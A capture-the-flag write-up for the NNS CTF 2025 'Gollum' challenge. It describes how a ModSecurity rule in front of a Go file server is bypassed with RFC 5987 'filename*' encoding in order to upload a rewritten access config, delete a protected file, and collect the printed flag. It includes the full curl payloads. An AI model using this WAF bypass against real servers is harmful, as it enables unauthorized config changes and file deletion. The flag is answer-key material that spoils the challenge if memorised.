2025 NNS CTF - Gollum

Challenge Overview

Challenge Name: Gollum
Difficulty: Medium

The goal is to delete my_precious.gif from a web server to trigger the flag generation controlled by file_checker.sh which checks if my_precious.gif exists as a regular file every 3 seconds. However, the web server has normal file deletion, so it must be done a bit more creatively.

Architecture

  • nginx (ModSecurity)
  • gohttpserver (Go HTTP File Server)

File analysis

file_checker.sh

#!/bin/bash
cd /app/public/
m=0
while :; do # give flag if my precious file is really gone
    [[ -f my_precious.gif ]] && m=0 || { ((++m>=3)) && echo "$FLAG" > flag.txt; }
    sleep 1
done
  • Uses -f test (checks for regular file existence)
  • Resets counter m=0 if file exists
  • Writes flag after 3 seconds of file absence

.ghs.yml (Configuration)

upload: false
delete: false

users:
  - token: "in_case_i_ever_need_to_upload_123"
    upload: true
    delete: false  # This prevents deletion!

ModSecurity Rule (nginx.conf)

SecRule REQUEST_METHOD "@streq POST" "id:1010,phase:2,deny,status:403,log,chain"
SecRule REQUEST_BODY|ARGS|MULTIPART_FILENAME "(?i)(?:\.ghs\.yml|my_precious\.gif)"
  • Only blocks POST requests
  • Blocks when .ghs.yml or my_precious.gif appears in:
    • Request body
    • URL arguments
    • Multipart filename

Key Discoveries

Authentication Method

Let's try to authenticate with curl so that we can use more relaxed rules in .ghs.yml meant for users. We know it will work if we are able to upload files to the server since only users are allowed to upload.

Query parameters:

  • Authorization: Bearer token <-- doesn't work ...
  • ?token=in_case_i_ever_need_to_upload_123 <-- this works!

Here are code examples for the mentioned query parameters and responses:

# Fails
curl -H "Authorization: Bearer in_case_i_ever_need_to_upload_123" -F "file=@test" URL
# Result: Upload forbidden

# Works  
curl -F "file=@test" "URL?token=in_case_i_ever_need_to_upload_123"
# Result: {"destination":"/app/public/test","success":true}

Upload Behavior

Uploading to path/file creates a directory path/ and puts file inside it

Cannot directly overwrite existing files by uploading to their path

  • Example: POST /existing_file creates /existing_file/uploaded_name

So we are able to upload, but still not able to delete files. Now it's time to test a few different methods to either try to modify, overwrite, or move the target file to trigger the flag generation.

Attempted Solutions

1. Direct Deletion (Failed)

curl -X DELETE "URL/my_precious.gif?token=TOKEN"
# Result: Delete forbidden

Confirmed that even authenticated users has delete: false in config

2. Config File Modification (Failed)

Let's try to upload a modified .ghs.yml with delete: true to modify the original one.

ModSecurity Bypass Attempts:

  • URL encoding: %2eghs%2eyml --> Creates directory with encoded name
  • Double encoding: %252eghs%252eyml --> Creates directory
  • Case variation: .GHS.YML --> Creates directory
  • Unicode: .ghs%E2%80%8B.yml --> Creates directory
  • Filename in multipart: filename=".ghs.yml" --> 403 Forbidden (ModSecurity block)

All successful uploads create directories instead of overwriting the file

3. File Overwriting (Failed)

Goal: Overwrite my_precious.gif to break file existence check

Attempts:

  • filename=my_precious.gif --> 403 Forbidden
  • filename=my_prec1ous.gif --> 403 Forbidden
  • filename=my%5Fprecious.gif --> Creates my%5Fprecious.gif (encoded name)
  • filename=my%20precious.gif --> Creates my%20precious.gif (encoded name)

ModSecurity pattern matching catches variations, successful bypasses create wrong filenames

4. Directory Conversion (Failed)

Try to convert my_precious.gif from file to directory

curl -X POST "URL/my_precious.gif?token=TOKEN" -F "file=@test"
# Result: File create open /app/public/my_precious.gif/test: not a directory

Cannot upload to existing file path

5. RFC 5987 Filename Encoding (SUCCESS!)

ModSecurity only checks MULTIPART_FILENAME but ignores the RFC 5987 filename* parameter.

A successful payload to make global delete true:

# 1. Upload modified .ghs.yml config
curl -X POST "URL/?token=in_case_i_ever_need_to_upload_123" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-d $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="file"; filename*=UTF-8\'\'%2eghs%2eyml\r\nContent-Type: text/plain\r\n\r\nupload: true\ndelete: true\n\nusers:\n  - token: "in_case_i_ever_need_to_upload_123"\n    upload: true\n    delete: true\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\r\n'

Then delete the target file.

# 2. Delete my_precious.gif
curl -X DELETE "URL/my_precious.gif?token=in_case_i_ever_need_to_upload_123"
# Result: Success

Wait for 3 seconds and GET the flag.

# 3. Get flag
curl "URL/flag.txt"

Why it works

  • filename*=UTF-8''%2eghs%2eyml bypassed ModSecurity (.ghs.yml--> %2eghs%2eyml)
  • Config needed global delete: true, not just user-level
  • File deletion triggered flag generation after 3 seconds
  • RFC 5987 encoding was the bypass technique

Flag: NNS{sn3aky_little_h0bbits3s_1b4be7189901}